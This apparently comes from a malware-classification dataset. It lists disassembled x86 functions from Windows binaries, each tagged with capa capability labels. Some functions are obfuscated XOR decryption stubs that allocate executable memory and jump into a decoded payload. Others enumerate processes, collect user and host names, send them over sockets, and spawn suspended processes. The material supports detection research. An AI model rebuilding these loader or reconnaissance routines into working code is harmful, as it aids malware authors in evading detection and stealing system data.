joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100062fa
pop dword [ebp - 0x18]
mov eax, 0x100062fa
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x369a4
push 0
mov eax, 0x904c8c4f
add eax, 0x7fb4b415
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x56fd1884
sub ecx, 0x56fcda32
xor edx, edx
add edx, eax
mov esi, 0x10018600
add esi, dword [ebp - 0x18]
mov ebx, 0x9d0ef5fa
sub ebx, 0xcae54c8
sub dword [ebp - 0x10], edx
mov edi, dword [esi]
sub dword [ebp - 4], 0x89124e9f
xor edi, ebx
mov dword [edx], edi
sub dword [ebp - 0xc], edx
add edx, 0x4321d3e4
sub edx, 0x4321d3e0
add esi, 0x426876ff
sub esi, 0x426876fb
loop 0x10006350
add eax, 0xec1b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x10003b3b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10003b4a
pop dword [ebp - 0x34]
mov eax, 0x4e326b11
sub eax, 0x3e322fc7
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x3a451ae7
sub dword [ebp - 0x44], 0xebf2d59c
mov dword [ebp - 0x40], 0xbf8e3d1b
sub dword [ebp - 0x40], 0x8d5af0d6
mov dword [ebp - 0x3c], 0xfbba4a99
add dword [ebp - 0x3c], 0x5091f995
mov dword [ebp - 0x38], 0x6a5ded87
add dword [ebp - 0x38], 0x95a21279
lea eax, [ebp - 0x44]
push eax
mov eax, 0xd7390625
sub eax, 0xc738b5e1
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x7c3392d6
add dword [ebp - 0x44], 0xf83ed680
mov dword [ebp - 0x40], 0x5c2a513
sub dword [ebp - 0x40], 0xc456439e
mov dword [ebp - 0x3c], 0xc9cacf1
sub dword [ebp - 0x3c], 0xa92d4085
mov dword [ebp - 0x38], 0x7a182bea
add dword [ebp - 0x38], 0x85e7d416
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x2ad6ec9
sub eax, 0xf2ad1e79
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37756
push 0
call eax
mov ecx, 0x1483a0f0
add ecx, 0xeb7ca9c2
xor esi, esi
add esi, eax
mov edi, 0xab5805ff
sub edi, 0x9b576dff
add edi, dword [ebp - 0x34]
mov ebx, 0xb05ec94c
sub ebx, 0xb3a6566
xor dword [ebp - 4], 0x1cd93abc
mov edx, dword [edi]
add edx, ebx
add dword [ebp - 0x28], 0x6d5fac1d
mov dword [esi], edx
xor dword [ebp - 0x30], 0x152b3870
add esi, 0x7ce48a25
add esi, 0x831b75df
add edi, 4
loop 0x10003c6e
add eax, 0x1e02f7b6
add eax, 0xe1fe25e5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10005e4e
Capabilities:
Query or enumerate registry value

Disassembly:
push 8
mov eax, 0x10007a20
call fcn.100078a2
cmp byte [0x1000b945], 0
je 0x10005e6d
mov eax, dword [0x1000b948]
jmp 0x10005f43
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwarePoliciesMicrosoftSecurity
mov dword [ebp - 4], esi
push 0x80000001
mov dword [ebp - 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10005ebd
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 4
push eax
push 0x1000b948
push esi
push esi
push str.CLSIDInterfaceTest
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005ebd
cmp dword [ebp - 0x14], 4
je 0x10005f16
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], esi
test eax, eax
je 0x10005ece
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSecurity
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10005f1e
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 4
push eax
push 0x1000b948
push esi
push esi
push str.CLSIDInterfaceTest
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10005f1e
cmp dword [ebp - 0x14], 4
jne 0x10005f1e
mov esi, dword [0x1000b948]
jmp 0x10005f24
mov dword [0x1000b948], esi
mov byte [0x1000b945], 1
mov dword [ebp - 4], 3
cmp dword [ebp - 0x10], 0
je 0x10005f41
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
call fcn.10007880
ret

Function at 0x10007608
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10007617
pop dword [ebp - 0x1c]
mov eax, 0x10007617
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xfc860a95
add dword [ebp - 0x2c], 0x51cc3ab6
mov dword [ebp - 0x28], 0xbe820078
add dword [ebp - 0x28], 0x73b14bcd
mov dword [ebp - 0x24], 0x34ec7350
add dword [ebp - 0x24], 0x175fd0de
mov dword [ebp - 0x20], 0x3f2bf59d
sub dword [ebp - 0x20], 0x3f2bf59d
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xd176e511
add eax, 0x3e899b4b
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x60081c09
add dword [ebp - 0x2c], 0x146a4d4d
mov dword [ebp - 0x28], 0xcfa28470
add dword [ebp - 0x28], 0x71c9dd05
mov dword [ebp - 0x24], 0xb23ab36
add dword [ebp - 0x24], 0x584bc136
mov dword [ebp - 0x20], 0xe4b20a02
add dword [ebp - 0x20], 0x1b4df5fe
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x634e8f6
add eax, 0x9cb9772
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36814
push 0
call eax
mov ecx, 0x306cb93
sub ecx, 0x3068715
xor edx, edx
add edx, eax
mov ebx, 0x3f531234
sub ebx, 0x2f523634
add ebx, dword [ebp - 0x1c]
mov edi, 0x4ed00ad0
add edi, 0x29878c4b
xor dword [ebp - 0x14], 0x6b444c91
mov esi, dword [ebx]
xor esi, edi
mov dword [edx], esi
xor dword [ebp - 0x14], 0x615500f7
add edx, 0xa52edc96
add edx, 0x5ad1236e
add ebx, 0x18ddad76
add ebx, 0xe722528e
loop 0x10007736
add eax, 0x104cb
mov ebx, eax
add eax, 5
mov ecx, 0xb5e4d5c8
sub ecx, 0xa5e4d5c8
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40326e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1548
call fcn.00416b40
sub esp, 4
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea eax, [ebp - 0x1008]
push eax
mov eax, dword [0x44b020]
call eax
add esp, 4
test eax, eax
jne 0x4032ae
mov dword [ebp - 0x153c], 0
jmp 0x40349b
mov eax, dword [ebp - 0x100c]
shr eax, 2
mov dword [ebp - 0x1010], eax
mov dword [ebp - 0x1014], 0
mov eax, dword [ebp - 0x1014]
cmp eax, dword [ebp - 0x1010]
jae 0x403491
mov eax, dword [str._unknown_]
mov dword [ebp - 0x1128], eax
mov eax, dword [0x446517]
mov dword [ebp - 0x1124], eax
mov ax, word [0x44651b]
mov word [ebp - 0x1120], ax
lea edx, [ebp - 0x111e]
mov eax, 0xfa
sub esp, 4
push eax
push 0
push edx
call sub.msvcrt.dll_memset
add esp, 0x10
sub esp, 4
mov eax, dword [ebp - 0x1014]
push dword [ebp + eax*4 - 0x1008]
push 0
push 0x410
call sub.KERNEL32.dll_OpenProcess
add esp, 4
mov dword [ebp - 0x112c], eax
cmp dword [ebp - 0x112c], 0
je 0x403384
lea eax, [ebp - 0x1134]
push eax
push 4
lea eax, [ebp - 0x1130]
push eax
push dword [ebp - 0x112c]
mov eax, dword [0x44b024]
call eax
test eax, eax
je 0x403384
push 0x104
lea eax, [ebp - 0x1128]
push eax
push dword [ebp - 0x1130]
push dword [ebp - 0x112c]
mov eax, dword [0x44b028]
call eax
sub esp, 0xc
push dword [ebp - 0x112c]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
sub esp, 0xc
mov eax, dword [ebp - 0x1014]
push dword [ebp + eax*4 - 0x1008]
call fcn.0040312a
add esp, 0x10
mov dword [ebp - 0x1134], eax
cmp dword [ebp - 0x1134], 0
je 0x4033fe
sub esp, 0xc
push dword [ebp - 0x1134]
mov eax, dword [ebp - 0x1014]
push dword [ebp + eax*4 - 0x1008]
push 0x44664f
push 0x400
lea eax, [ebp - 0x1538]
push eax
call fcn.00417200
add esp, 0x20
sub esp, 0xc
push dword [ebp - 0x1134]
call sub.msvcrt.dll_free
add esp, 0x10
jmp 0x40342e
sub esp, 0xc
lea eax, [ebp - 0x1128]
push eax
mov eax, dword [ebp - 0x1014]
push dword [ebp + eax*4 - 0x1008]
push 0x44664f
push 0x400
lea eax, [ebp - 0x1538]
push eax
call fcn.00417200
add esp, 0x20
cmp dword [0x45f100], 0
je 0x403460
sub esp, 8
push 0x440540
sub esp, 0xc
lea eax, [ebp - 0x1538]
push eax
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
push 0
lea eax, [ebp - 0x1538]
sub esp, 8
push eax
call sub.msvcrt.dll_strlen
add esp, 0xc
push eax
lea eax, [ebp - 0x1538]
push eax
push dword [ebp + 8]
call sub.WSOCK32.DLL_send
lea eax, [ebp - 0x1014]
inc dword [eax]
jmp 0x4032c7
mov dword [ebp - 0x153c], 0
mov eax, dword [ebp - 0x153c]
leave
ret
Function at 0x403c6a
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
sub esp, 0xc
push str.kernel32.dll
call sub.KERNEL32.dll_LoadLibraryA
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403d48
sub esp, 8
push str.CreateToolhelp32Snapshot
push dword [ebp - 4]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x44b040], eax
sub esp, 8
push str.Module32First
push dword [ebp - 4]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x44b044], eax
sub esp, 8
push str.Module32Next
push dword [ebp - 4]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x44b048], eax
sub esp, 8
push str.Process32First
push dword [ebp - 4]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x44b04c], eax
sub esp, 8
push str.Process32Next
push dword [ebp - 4]
call sub.KERNEL32.dll_GetProcAddress
add esp, 8
mov dword [0x44b050], eax
mov dword [ebp - 0xc], 0
cmp dword [0x44b044], 0
je 0x403d40
cmp dword [0x44b048], 0
je 0x403d40
cmp dword [0x44b04c], 0
je 0x403d40
cmp dword [0x44b050], 0
je 0x403d40
cmp dword [0x44b040], 0
je 0x403d40
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
jmp 0x403d4f
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret

Function at 0x40443a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
sub esp, 8
push 0
push 2
mov eax, dword [0x44b040]
call eax
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x40446c
mov dword [ebp - 0x55c], 0
jmp 0x4045c3
mov dword [ebp - 0x148], 0x128
sub esp, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0xc]
mov eax, dword [0x44b04c]
call eax
add esp, 8
test eax, eax
jne 0x4044ae
sub esp, 0xc
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
mov dword [ebp - 0x55c], 0
jmp 0x4045c3
sub esp, 0xc
push dword [ebp - 0x140]
call fcn.0040416a
add esp, 0x10
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x404509
sub esp, 0xc
push dword [ebp - 0x150]
push dword [ebp - 0x140]
push str._lu:_s_n
push 0x400
lea eax, [ebp - 0x558]
push eax
call fcn.00417200
add esp, 0x20
sub esp, 0xc
push dword [ebp - 0x150]
call sub.msvcrt.dll_free
add esp, 0x10
jmp 0x404535
sub esp, 0xc
lea eax, [ebp - 0x148]
add eax, 0x24
push eax
push dword [ebp - 0x140]
push str._lu:_s_n
push 0x400
lea eax, [ebp - 0x558]
push eax
call fcn.00417200
add esp, 0x20
cmp dword [0x45f100], 0
je 0x404567
sub esp, 8
push 0x440540
sub esp, 0xc
lea eax, [ebp - 0x558]
push eax
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
push 0
lea eax, [ebp - 0x558]
sub esp, 8
push eax
call sub.msvcrt.dll_strlen
add esp, 0xc
push eax
lea eax, [ebp - 0x558]
push eax
push dword [ebp + 8]
call sub.WSOCK32.DLL_send
sub esp, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0xc]
mov eax, dword [0x44b050]
call eax
add esp, 8
test eax, eax
je 0x4045ab
jmp 0x4044ae
sub esp, 0xc
push dword [ebp - 0xc]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
mov dword [ebp - 0x55c], 1
mov eax, dword [ebp - 0x55c]
leave
ret
Function at 0x404624
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14c
mov dword [ebp - 0x114], 0x40aaf0
mov dword [ebp - 0x110], 0x4432c0
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x4047d8
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x12c]
sub esp, 0xc
push eax
call fcn.00416230
add esp, 0x10
mov dword [ebp - 0xbc], pe_nt_image_headers32
sub esp, 4
push 0x81
push 0
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0x128], 0xffffffff
call sub.msvcrt.dll_memset
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xb8]
push eax
call sub.ADVAPI32.DLL_GetUserNameA
add esp, 8
test eax, eax
jne 0x4046c5
mov dword [ebp - 0x130], 1
jmp 0x4049b5
sub esp, 0xc
push dword [ebp + 8]
mov dword [ebp - 0x128], 0xffffffff
call fcn.004045cc
add esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x404928
cmp dword [0x45f100], 0
je 0x404919
call fcn.004176c0
mov dword [ebp - 0xc4], eax
sub esp, 8
push 0x440540
sub esp, 0xc
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x134], eax
sub esp, 0xc
push 0x446709
lea edx, [ebp - 0xe8]
mov dword [ebp - 0x138], edx
sub esp, 0xc
lea eax, [ebp - 0xf8]
sub esp, 4
push dword [ebp - 0xc4]
push eax
call fcn.00403ab4
add esp, 8
lea eax, [ebp - 0xf8]
push eax
push 0x44670b
push dword [ebp - 0x138]
mov dword [ebp - 0x128], 3
call fcn.00442174
add esp, 0x14
lea eax, [ebp - 0xe8]
push eax
push dword [ebp - 0x134]
mov dword [ebp - 0x128], 2
call fcn.0044227c
add esp, 0x14
lea eax, [ebp - 0xd8]
push eax
sub esp, 0xc
push dword [ebp - 0xc4]
sub esp, 0xc
push str.NULL_process_owner__lastError
push dword [0x45f10c]
mov dword [ebp - 0x128], 1
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00431ca0
add esp, 0x14
push eax
call fcn.00441f08
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
jmp 0x40483f
sub esp, 0xc
lea eax, [ebp - 0xd8]
push eax
mov dword [ebp - 0x128], 2
call fcn.00435030
add esp, 0x10
jmp 0x404893
sub esp, 0xc
lea eax, [ebp - 0xe8]
push eax
mov dword [ebp - 0x128], 3
call fcn.00435030
add esp, 0x10
jmp 0x4048fd
sub esp, 0xc
lea eax, [ebp - 0xf8]
push eax
mov dword [ebp - 0x128], 0xffffffff
call fcn.00435030
add esp, 0x10
mov dword [ebp - 0x130], 0
jmp 0x4049b5
cmp dword [0x45f100], 0
je 0x404971
sub esp, 8
push 0x440540
sub esp, 0xc
push dword [ebp - 0x1c]
sub esp, 0xc
push str.owner:
push dword [0x45f10c]
mov dword [ebp - 0x128], 0xffffffff
call fcn.004417d8
add esp, 0x14
push eax
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
lea eax, [ebp - 0xb8]
sub esp, 4
push dword [ebp - 0xbc]
push dword [ebp - 0x1c]
push eax
call sub.msvcrt.dll_strncmp
add esp, 0x10
mov dword [ebp - 0xc0], eax
sub esp, 0xc
push dword [ebp - 0x1c]
call sub.msvcrt.dll_free
add esp, 0x10
cmp dword [ebp - 0xc0], 0
sete al
and eax, 0xff
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x12c]
sub esp, 0xc
push eax
call fcn.004162d0
add esp, 0x10
mov eax, dword [ebp - 0x130]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405714
Capabilities:
Create pipe
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
call sub.KERNEL32.dll_CreatePipe
test eax, eax
jne 0x405758
mov dword [ebp - 0x90], 0
jmp 0x405852
sub esp, 4
push 0
push 1
push dword [ebp - 0x20]
call sub.KERNEL32.dll_SetHandleInformation
add esp, 4
sub esp, 4
push 0x10
push 0
lea eax, [ebp - 0x38]
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
sub esp, 4
push 0x44
push 0
lea eax, [ebp - 0x88]
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
mov dword [ebp - 0x88], 0x44
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], 0xffffffff
lea eax, [ebp - 0x5c]
or dword [eax], 0x100
sub esp, 8
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x88]
push eax
push 0
push 0
push 8
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call sub.KERNEL32.dll_CreateProcessA
add esp, 8
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x405817
sub esp, 0xc
push dword [ebp - 0x1c]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
sub esp, 0xc
push dword [ebp - 0x20]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
mov dword [ebp - 0x90], 0
jmp 0x405852
sub esp, 0xc
push dword [ebp - 0x38]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
sub esp, 0xc
push dword [ebp - 0x34]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
sub esp, 0xc
push dword [ebp - 0x1c]
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x30]
mov dword [eax], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
leave
ret
Function at 0x40585a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x14], 0x200
sub esp, 0xc
push dword [ebp - 0x14]
call sub.msvcrt.dll_malloc
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
sub esp, 0xc
push 0
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
sub eax, edx
dec eax
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x405924
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
add dword [eax], edx
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
add dword [eax], edx
mov eax, dword [ebp - 0x14]
dec eax
cmp eax, dword [ebp - 0xc]
jne 0x405885
lea eax, [ebp - 0x14]
add dword [eax], 0x200
sub esp, 8
push 0x440540
sub esp, 0xc
push dword [ebp - 0x14]
sub esp, 0xc
push str.win_read_all:_allocating:
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00431ca0
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
sub esp, 8
push dword [ebp - 0x14]
push dword [ebp - 4]
call sub.msvcrt.dll_realloc
add esp, 0x10
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x405885
cmp dword [ebp - 0xc], 0
je 0x40596f
mov eax, dword [ebp - 8]
inc eax
mov byte [eax], 0
sub esp, 8
push 0x440540
sub esp, 0xc
push dword [ebp - 4]
sub esp, 0xc
push str.win_read_all:
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
jmp 0x4059ab
sub esp, 0xc
push dword [ebp - 4]
call sub.msvcrt.dll_free
add esp, 0x10
sub esp, 8
push 0x440540
sub esp, 0xc
push str.win_read_all:_NULL
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
leave
ret
Function at 0x406e2c
Capabilities:
Get hostname
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov dword [ebp - 0xac], pe_nt_image_headers32
mov dword [ebp - 0x14c], pe_nt_image_headers32
sub esp, 4
push 0x81
push 0
lea eax, [ebp - 0xa8]
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
sub esp, 4
push 0x201
push 0
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll_memset
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa8]
push eax
call sub.ADVAPI32.DLL_GetUserNameA
add esp, 8
test eax, eax
jne 0x406ebb
sub esp, 8
push str.:ERROR:
lea eax, [ebp - 0xa8]
push eax
call sub.msvcrt.dll_strcpy
add esp, 0x10
mov dword [ebp - 0xac], 5
jmp 0x406eca
lea eax, [ebp - 0xa8]
add eax, dword [ebp - 0xac]
mov byte [eax], 0
cmp dword [0x45f100], 0
je 0x406efc
sub esp, 8
push 0x446902
sub esp, 0xc
lea eax, [ebp - 0xa8]
push eax
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.004417d8
add esp, 0x10
cmp dword [0x45f104], 0
je 0x406f3a
sub esp, 0xc
push str.CLIENTNAME
call sub.msvcrt.dll_getenv
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x406f3a
sub esp, 4
push pe_nt_image_headers32
push dword [ebp - 0xc]
lea eax, [ebp - 0x148]
push eax
call sub.msvcrt.dll_strncpy
add esp, 0x10
jmp 0x406f85
sub esp, 8
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x148]
push eax
call sub.KERNEL32.dll_GetComputerNameA
add esp, 8
cmp dword [0x45f100], 0
je 0x406f85
sub esp, 8
push 0x440540
sub esp, 0xc
lea eax, [ebp - 0x148]
push eax
push dword [0x45f10c]
call fcn.004417d8
add esp, 0x14
push eax
call fcn.00430ae0
add esp, 0x10
sub esp, 8
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll_strcpy
add esp, 0x10
sub esp, 4
push 2
push 0x446902
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll_strncat
add esp, 0x10
sub esp, 4
lea eax, [ebp - 0x148]
sub esp, 8
push eax
call sub.msvcrt.dll_strlen
add esp, 0xc
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll_strncat
add esp, 0x10
sub esp, 4
push 1
push 0x446910
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll_strncat
add esp, 0x10
sub esp, 0xc
lea eax, [ebp - 0x368]
push eax
call sub.msvcrt.dll__strdup
add esp, 0x10
leave
ret